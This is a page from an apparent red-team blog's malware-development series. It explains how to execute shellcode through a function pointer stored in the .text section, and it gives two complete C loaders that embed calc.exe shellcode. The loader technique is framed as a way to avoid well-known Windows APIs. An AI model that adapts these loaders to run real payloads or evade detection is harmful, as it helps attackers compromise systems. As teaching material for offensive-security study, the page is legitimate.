W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page

Was this helpful?

  1. Malware Development
  2. Code Execution

Function Pointer (No API)

We can execute shellcode from a local process without relying on well-known Windows APIs like VirtualAlloc, CreateThread, or similar functions. To do this, you can use section pragma with the allocate declarator specifier. this tells the compiler to place the shellcode directly into the .text section of the PE, eliminating the need to allocate a RW (read-write) memory region specifically for storing the shellcode. by casting the array holding the shellcode as a function pointer and invoking it, you can execute the shellcode without calling CreateThread or similar APIs that are traditionally used for this purpose.

However, while this method allows shellcode execution, it is not generally recommended. Shellcode generated by tools like Msfvenom typically terminates the calling thread after execution. If the shellcode is executed via the function pointer method, the main thread becomes the calling thread, which results in the termination of the entire process once the shellcode finishes. Using a new thread to run the shellcode avoids this issue—once the shellcode completes, only the newly created worker thread terminates, preventing the process from exiting entirely.

Another problem with this technique is that the shellcode is stored in .text which is a read-only section, meaning that anything we write in this section will not be modifiable. In real-world scenarios where we have to encrypt/obfuscate our payloads, we cant use the same memory section for decryption / deobfuscation tasks.

Execution Flow:

  1. Store shellcode array in .text section

  2. Create a function pointer that points to the start of shellcode array.

  3. Call the function pointer to change execution direction to shellcode array

Code:

#pragma section(".text")

// benign calc.exe shellcode
__declspec(allocate(".text")) char goodcode[] ={
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
    0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
    0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
    0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
    0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
    0x99, 0xFF, 0xD7 };

int main()
{
// cast to function pointer and execute shellcode
    (*(void(*)())(&goodcode))();

    return 0;
}

((void()())(&goodcode))(); translates to this in simple syntax:

void (*func)();  // Define a function pointer that returns void and takes no arguments
func = (void(*)())goodcode;  // Cast 'goodcode' to a function pointer
func();  // Call the function

If we prefer not to store the shellcode in .text section, the same execution technique can be combined using Win API for memory allocation and copyin the shellcode. execution can still happen using function pointers.

#include <windows.h>
#pragma section(".text")

// benign calc.exe shellcode
const unsigned char shellcode[] ={
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
    0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
    0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
    0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
    0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
    0x99, 0xFF, 0xD7 };

int main()
{
    // allocate memory, copy and execute shellcode using function pointer
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    return 0;
}

Code Samples

Code snippets are available on GitHub:

PreviousDLL Execution ( Disk )NextHandle2Self

Last updated 6 months ago

Was this helpful?

GitHub - 7h3w4lk3r/malware-development-samples: Samples for malware development series from my blogGitHub
Logo